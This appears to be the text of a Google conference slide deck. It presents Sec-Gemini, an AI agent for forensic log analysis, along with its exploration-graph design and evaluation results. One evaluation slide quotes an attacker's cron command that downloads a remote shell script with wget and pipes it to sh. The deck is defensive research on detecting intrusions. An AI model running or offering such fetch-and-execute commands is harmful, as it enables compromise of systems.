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4,000,000
Average number of events on a freshly installed Windows server
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The Log Volume Problem
Finding the needle in a haystack
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Anatomy of a Windows 2022 Base Image 

3.1M
Filesystem events 

(e.g. file creation / modification)

400k 
Registry events

350k 
UsnJrnl events

50k Executable Events

40k Exec Events (per day)

4,000,000+ Events
Excludes sources like: netflow, DNS, other system logs
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The log volume problem

Attackers can look like normal users

One attack creates a dozen log types

The signal is buried in the noise
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Forensics 101
and how we do it at Google
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Three phases of forensics

Processing
Convert into a friendlier format.

Parse, normalize, and enrich data 

Analysis
Review artifacts - explore the 

timeline and check for indicators

Collection
Fetch artifacts: disk images, process 
executions, and event/auth logs 
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Forensics with open source tools

Collection Processing Analysis

libcloudforensics
Collects artifacts from 

cloud providers

Plaso
Builds timelines from 

collected artifacts

Timesketch
Enables collaborative timeline 

investigations
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Forensics with open source tools

libcloudforensics
Collects artifacts from 

cloud providers

Plaso
Builds timelines from 

collected artifacts

Timesketch
Enables collaborative timeline 

analysis

mvd-gcp-project GCE disk image (copy) /tmp/disk-image.plaso

$ dftimewolf gcp_forensics_ts mvd-gcp-project

Recipe name
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Forensics with open source tools

Analysis

Timesketch
Enables collaborative timeline 

analysis
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Analysis with Timesketch

[1] Fetch relevant logs 

[2] Recreate timeline

[3] Find the attacker!
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https://docs.google.com/file/d/1v9axD9JkbZfKtP40BccHl3U9e98GAXPZ/preview
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https://docs.google.com/file/d/1Giu7PL3qAgfwODAfMzYnCwbpoXjb6kBd/preview
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Summarization ≠ Timeline Analysis

Missing Narrative
Analysts must manually stitch 

together summaries to understand 
the full story

Doesn’t Scale
Sending millions of unfiltered log 

records to an AI model will be 
expensive and slow

Limited Reasoning
Batch processing leaves AI with a 

small slice view of the world at a time
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Sec-Gemini’s
Log Reasoning Capability
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Sec-Gemini
App Security

  Threat Intel 

Vulnerability Understanding

Network Security

Malware Analysis 

Mission
Be the most capable cybersecurity 
AI for scalable and automatic 
protection of online products, 
users, and systems from AI threats 
and bad actors

Log Reasoning
Sec-Gemini is experimental research

GCP offers mature SecOps agents
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Sec-Gemini’s Log Reasoning Capability

Capable
Investigation, e.g., timeline reconstruction
Detection, e.g., unsupervised threat hunting

Scalable & Flexible
raw, massive, heterogenous logs

Autonomous, Explainable and Verifiable
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A Classic* Agent?

Raw logs to analyze
100s of millions of events

Backbone LLM

LLM analyzes fetched records

repeat

*ReAct: Synergizing Reasoning and Acting in Language Models

LLM fetches log record subset

https://arxiv.org/abs/2210.03629
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Problems with the Classic Agent

Context Window Overflow
fetched log records accumulate,
context window fills in few steps

Poor Explainability
100s of pages of free-form text:

LLM outputs + log records

LLM Loses Track of Goal
repeatedly fetches same records,
persists in dead-end directions, …
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Exploration Graph as Agent Memory 1/2
Exploration Graph represents state of investigation
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Exploration Graph represents state of investigation

Edge (→) means general logical entailment:

specialization of, analysis of, answer to, etc
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Exploration Graph as Agent Memory 1/2
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Edge (→) means general logical entailment:

specialization of, analysis of, answer to, etc

Four node types:

Investigative direction
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Exploration Graph as Agent Memory 1/2
Exploration Graph represents state of investigation

Edge (→) means general logical entailment:

specialization of, analysis of, answer to, etc

Four node types:

Investigative direction

Fetch records operation

Observations on fetched records
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Exploration Graph as Agent Memory 1/2
Exploration Graph represents state of investigation

Edge (→) means general logical entailment:

specialization of, analysis of, answer to, etc

Four node types:

Investigative direction

Fetch records operation

Observations on fetched records

Investigative finding from fetched records
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Exploration Graph as Agent Memory 2/2
LLM updates the exploration graph in 3 phases
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Exploration Graph as Agent Memory 2/2
LLM updates the exploration graph in 3 phases
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An Illustrative Case: Setup

Detection signal triggers on a Linux VM

~1M log records, 7 different log types: syslog, filesystem, selinux, …
Disk imaged, raw logs extracted

Sec-Gemini performs blind investigation
Not given detection nor any starting point

“find and explain all attacker actions”
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Sec-Gemini Builds an Exploration Graph
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Sec-Gemini Builds an Exploration Graph
Check for SSH brute-force attacks in syslog:ssh:login log

Investigate fs:stat logs for any suspicious activity
Investigate syslog and selinux logs for signs of exploit attempts (e.g., unusual system calls,…
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Sec-Gemini Builds an Exploration Graph
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Fetch subset selinux
Fetch subset from syslog

Fetch subset from fs:stat
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Sec-Gemini Builds an Exploration Graph
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Investigate fs:stat logs for any suspicious activity
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Fetch subset from syslog

Fetch subset from fs:stat

Fetch subset from syslog:ssh:login

Investigate syslog and selinux logs for signs of exploit attempts (e.g., unusual system calls,…

Successful SSH logins for user 'root' on 2024-11-28 from IPs: 218.92.XXX.XXX (13:04:50 UTC)...
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Sec-Gemini Builds an Exploration Graph
Check for SSH brute-force attacks in syslog:ssh:login log

Investigate fs:stat logs for any suspicious activity

Fetch subset selinux
Fetch subset from syslog

Fetch subset from fs:stat

Investigate fs:stat logs before and after the SSH login times (2024-11-28) to identify…

Fetch subset from fs:stat
Fetch subset from syslog

Multiple failed login attempts from 218.92.XXX.XXX immediately preceding the successful…
Successful login and cron job executions, including '(/etc/cron.hourly/gcc.sh)'
Suspicious activity: modifications to /etc/cron.hourly/gcc.sh, creation/modification of files…
Modification of /etc/daemon.cfg and /root, and access to the suspicious file /usr/bin/ygljglkjg…

[fs:stat:355966] Creation of suspicious file /usr/bin/ygljglkjgfg0 shortly after successful SSH…
[syslog:318723] Successful SSH login for user 'root' from 218.92.XXX.XXX after multiple failed…

[fs:stat:355965] Modification of /etc/cron.hourly/gcc.sh shortly after successful SSH brute…
[fs:stat:356100] Last access timestamp for suspicious executable /usr/bin/ygljglkjgfg0,…

Fetch subset from syslog:ssh:login

Investigate syslog and selinux logs for signs of exploit attempts (e.g., unusual system calls,…

Investigate syslog events around the times of the successful SSH logins (2024-11-28 13:04:50…
Successful SSH logins for user 'root' on 2024-11-28 from IPs: 218.92.XXX.XXX (13:04:50 UTC)...
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Sec-Gemini’s Exploration Graph Takeaways
Scale to 100M+ log lines & handle complex multi-step investigations
LLM task is to build & maintain an explicit exploration graph
LLM only sees targeted, small subset of logs at every round

Explainable
Exploration graph is intuitive and lends itself to helpful visualizations

Verifiable
Every finding holds a reference to one or more supporting log records
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Timesketch with 
Sec-Gemini
How AI augments an analyst
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AI Principles in Digital Forensics
Transparent Analysts must be explicitly aware when AI is integrated into the 

investigation process.

Verifiable AI outputs must be validated by analysts, adhering to established 
principles and verifiable via traditional forensic methods.

Explainable The AI should provide its reasoning in a way that enables analysts to 
fully understand how findings were derived.

Traceable All AI conclusions and supporting evidence must directly link back to 
the original, unmutated data.

Protected Uphold attorney-client privilege and secure access to any sensitive 
information when AI is involved.
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A log analysis agent  in Timesketch

https://docs.google.com/file/d/1mChHQ5VvwB3C6TUG0o0x17eA2ICam46x/preview
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Work is linked to the specific log lines 
used to make a judgement call

All conclusions come with rationale 
that analyst can accept or reject

Agent executes on a self-curated list 
of hypotheses. Analysts review results

A log analysis agent  in Timesketch
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Evaluation
Scoring Sec-Gemini’s
Log Reasoning performance
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Evaluation Dataset

Average Case is Hard
14 log types

4.1M+ log records
38 annotated records

100 compromised VMs
real-world cases

detected by low-FP rules

Diverse Compromises
weak password,

misconfiguration,
software vulnerability,
leaked credentials, …
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Evaluation Task
Task: find all attack-related indicators (entities)

URLs, filename, IP address, process and executable names, etc

3 levels of relevance: critical, important and supplemental. Example:
[CRON, pid: 570342] (perfkit) CMD (wget -q -O - http://185.122.xxx.xxx/h2.sh | sh > /dev/null 2>&1)

Two configurations: hinted and not-hinted

hinted: SG given initial detection info. Akin to timeline reconstruction.

not-hinted: SG not given a starting point. Akin to general threat hunting.
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Precision & Recall
Timeline Reconstruction (hinted) Threat Hunting (not hinted)

Recall on Critical 53%

Recall on Important 40%

Recall on Suppl. 25%

Precision 12%

Recall on Critical 47%

Recall on Important 42%

Recall on Suppl. 21%

Precision 11%
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Sec-Gemini finds
53% of critical indicators

across millions of logs
for under $3
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Your mad scientist boss was 
contacted by the FBI. They found his 
recently-developed Szechuan sauce 
recipe on the dark web. How was our 

recipe stolen?

CTF created by James Smith, 
DFIRmadness.com

CTF scenario
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Sec-Gemini on forensics CTF

● Nightmare – Disk Image Only

● Difficult – Disk and Memory

● Moderate – Disk, Memory, and Autoruns

● Easy – Disk, Memory, Autoruns, and PCAPS
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Sec-Gemini on forensics CTF

● Nightmare – Disk Image Only

● Difficult – Disk and Memory

● Moderate – Disk, Memory, and Autoruns

● Easy – Disk, Memory, Autoruns, and PCAPS
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Configuration Indicator recall Questions answered

Scenario included

Sec-Gemini on forensics CTF
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Configuration Indicator recall Questions answered

Scenario included 60% of critical 
indicators

22 out of 30

Sec-Gemini on forensics CTF
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Configuration Indicator recall Questions answered

Scenario included 60% of critical 
indicators

22 out of 30

Fully autonomous
No scenario included

50% of critical 
indicators

20 out of 30

Sec-Gemini on forensics CTF
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Want To Learn More?

bit.ly/46x9GLr 

Trusted Tester Program Other Talks/Events 

Blackhat Demos:   Google Cloud Security Booth #2240

August 8 - 10

Arsenal Demos:    Business Hall, Arsenal Station 7

GenSec CTF:         LVCC West Hall, Level 1, 302      

August 7: 1pm

August 7: 2pm

http://bit.ly/46x9GLr
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Thank you

mvd@google.com 
akant@google.com

🔗 SCAN FOR SLIDES
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